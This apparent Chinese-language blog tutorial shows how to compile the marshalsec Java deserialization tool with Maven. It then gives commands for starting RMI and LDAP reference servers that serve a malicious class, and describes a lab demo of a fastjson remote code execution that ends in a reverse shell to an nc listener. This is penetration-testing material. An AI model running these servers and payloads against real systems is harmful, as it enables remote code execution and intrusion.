marshalsec是一款java反序列利用工具,其可以很方便的起一个ldap或rmi服务,通过这些服务来去访问攻击者准备好的恶意执行类来达到远程命令执行或入侵的目的。marshalsec获取方式在GitHub上,地址为:
marshalsec项目是未编译的,所以想使用他需要通过maven先编译,同时还需具备JAVA环境。(tips:该环境演示都基于linux环境)
获取maven的安装包
https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
解压缩后将目录文件复制到/usr/local/下
tar -xzvf apache-maven-3.6.3-bin.tar.gz
cp -r ./apache-maven-3.6.3/ /usr/local/
# 进入/usr/local/apache-maven-3.6.3/目录下创建一个repo目录
mkdir repo
# 进入conf目录下编辑setting.xml文件
cd conf/
vim setting.xml
# 定位到:localRepository,做出如下修改:
<localRepository>/usr/local/apache-maven-3.6.3/repo</localRepository>
# 再此定位到:mirror位置处,做出如下修改(tips:注意去掉注释,不然修改也不会生效):
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
配置/etc/profile,直接在文件最后加入如下内容:
# maven setting
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$PATH:$MAVEN_HOME/bin
保存退出,执行source /etc/profile来生效该配置,完成上述步骤后,输入:mvn -v来测试maven是否安装成功
若出现如下报错:
NB: JAVA_HOME should point to a JDK not a JRE:意思是JAVA_HOME应该指向jdk而不是jre。下面给出解决办法: 通过命令:echo $JAVA_HOME来获取java的安装路径
编辑/etc/profile配置文件,重新配置JAVA_HOME的路径,给他重新配置jdk的路径
再次source /etc/profile,即可解决。
上面步骤都正确操作完后,拉取marshalsec项目到本地,解压后进入目录,直接执行:
mvn clean package -DskipTests
接下里就等他解析,会在当前目录下生成一个target的文件夹,代表安装完成就可以使用了…………
marshalsec基本命令格式
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ [<arguments…>]]
参数说明:
+ -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
+ -t:对生成的payloads进行解码测试
+ -v:verbose mode, 展示生成的payloads
+ gadget_type:指定使用的payload
+ arguments - payload运行时使用的参数
+ marshalsec.<marshaller>:指定exploits,根目录下的java文件名
开启rmi服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://rmi_server_ip:rmi_port/#ExportObject 1099
开启ldap服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ldap_server_ip:ldap_port/#ExportObject 1389
演示一个fastjson远程命令执行的漏洞,起一个靶场直接开始。在vps上安装好marshalsec,开启rmi服务,并且将java恶意命令执行类上传到vps后开启访问服务。同时再vps上起nc监听端口。操作如下:
可以看见反弹成功!实现过程:bp抓包修改数据包为post,并添加json格式的rmi协议发送给服务器后,服务器访问post数据包上的rmi地址,vps上的rmi服务端口收到服务器发来的请求后,rmi服务按照设定的开放ip与端口让服务端去下载访问恶意类文件并运行后,此时我们起的nc监听端口就会收到反弹的shell…………